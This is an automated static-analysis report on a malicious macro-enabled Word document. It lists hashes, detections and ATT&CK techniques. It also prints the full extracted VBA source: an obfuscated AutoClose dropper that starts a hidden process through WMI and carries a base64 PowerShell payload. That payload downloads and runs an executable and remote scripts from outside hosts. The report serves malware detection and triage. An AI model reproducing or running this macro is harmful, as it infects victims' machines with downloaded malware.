Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d942f42f13aebdef…

MALICIOUS

Office (OOXML)

66.5 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-03-18
MD5: 3b687c516e1269c54c04e709ce0826a0 SHA-1: aeffe4e76999e2f738ea72f2d1979f5e0c9e3bca SHA-256: d942f42f13aebdeff0f6d2ad02ba0d86d7ef7bfb070fec0e32e0aa8851032e9d
324 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OOXML document containing VBA macros. The AutoClose macro executes a function that uses GetObject to interact with WMI (winmgmts:\\.\root\cimv2) to launch a new process. This is a common technique for downloading and executing further malicious payloads. ClamAV detections also indicate a downloader.

Heuristics 8

  • ClamAV: Doc.Downloader.Powload-6707242-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6707242-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3436 bytes
SHA-256: ae9544e06e643860505306ce1d180138ecfb8016f4ce5f8269f32f5c4722b3ee
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function sostenuti(unhocked)
  Const chiccories = 0
  harnesser = "."
  Set tabulis = GetObject("winmgmts:" _
      & "{impersonationLevel=impersonate}!\\" _
      & harnesser & "\root\cimv2")
  Set claustration = tabulis.Get("Win32_ProcessStartup")
  Set charades = claustration.SpawnInstance_
  charades.ShowWindow = chiccories

  Set atactic = tabulis.Get("Win32_Process")
  cetonia = atactic.Create _
      (unhocked, Null, charades, intProcessID)
End Function


Private Function nashim(rhizotomies)
  postcerebral = Array("0", "Z", "b", "3", "V", "j", "4", "2", "B", "", "F", "z", "m", "K", "R", "W", "J", "r", "h", "G", "k")
  prepartnership = Array(" ", "r", "e", "B", "t", "s", "-", "h", "y", "E", "a", "p", "o", "C", "w", ".", "i", "x", "c", "l", "N")
  
  desipramine = vbNullString
  
  For Each inominous In rhizotomies
    conservatorium = mnemonize(inominous, postcerebral, UBound(postcerebral))
    If conservatorium > -1 Then
    desipramine = prepartnership(conservatorium) & desipramine
    End If
  Next
  
  nashim = StrReverse(desipramine)
  
End Function

Public Function mnemonize(apostolic, kinesiologic, osiris)
  nonmannite = 3
  incorporation = 1992
  For nonmannite = 0 To osiris
    If kinesiologic(nonmannite) = apostolic Then
     incorporation = nonmannite
    End If
  Next

  If incorporation = 1992 Then
    incorporation = -1
  End If
  
  mnemonize = incorporation
End Function

Sub AutoClose()
  rhizotomies = Array("z", "m", "R", "b", "Z", "j", "2", "b", "G", "G", "W", "b", "r", "b", "0", "4", "k", "m", "", "r", "J", "V", "0", "4", "", "r", "b", "h", "0", "3", "B", "z", "F", "j", "j", "0", "4", "", "K", "0")
  almners = "IAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGEAbwBkAGsAcQBpAHcAagBkAHEAdwBlAHoAeABjAG0AYQBzAGQAcQB5AG4AdQAuAGMAbwBtAC8AUwBTAC8AZABvAGcAZwAuAHQAegBtACcALAAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACAAKwAgACcAXAAyAGIAZAA2ADUANQBlADEALgBlAHgAZQAnACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAnAFwAMgBiAGQANgA1ADUAZQAxAC4AZQB4AGUAJwA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYQBvAGQAawBxAGkAdwBqAGQAcQB3AGUAegB4AGMAbQBhAHMAZABxAHkAbgB1AC4AYwBvAG0ALwBzAC4AcABoAHAAPwBpAGQAPQBkAG8AZwBnACcAKQA7ACAASQBFAFgAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwBjAG4AaABvAHQAZQBsAHQAZQB4AC4AYwBvAG0ALwBTAHQAYQB0AC4AYwBvAHUAbgB0ACcAKQApADsA"
  unvouched = nashim(rhizotomies)
  
  Application.Run "ungraceful", unvouched + almners
  
End Sub


Private Sub ungraceful(unhocked)
   
   coexistent = DateDiff("s", #1/1/1970#, Now())
   apprehensibly = True
   
   While apprehensibly
     birdlimes = coexistent + 60
     If birdlimes - coexistent > 1 Then
       Application.Run "sostenuti", (unhocked)
       apprehensibly = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14336 bytes
SHA-256: 746a97b995162d364f901f11a2a9e8155b69bcd321607dcdcb93fd2d7c282943
Detection
ClamAV: Doc.Downloader.Powload-6707242-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).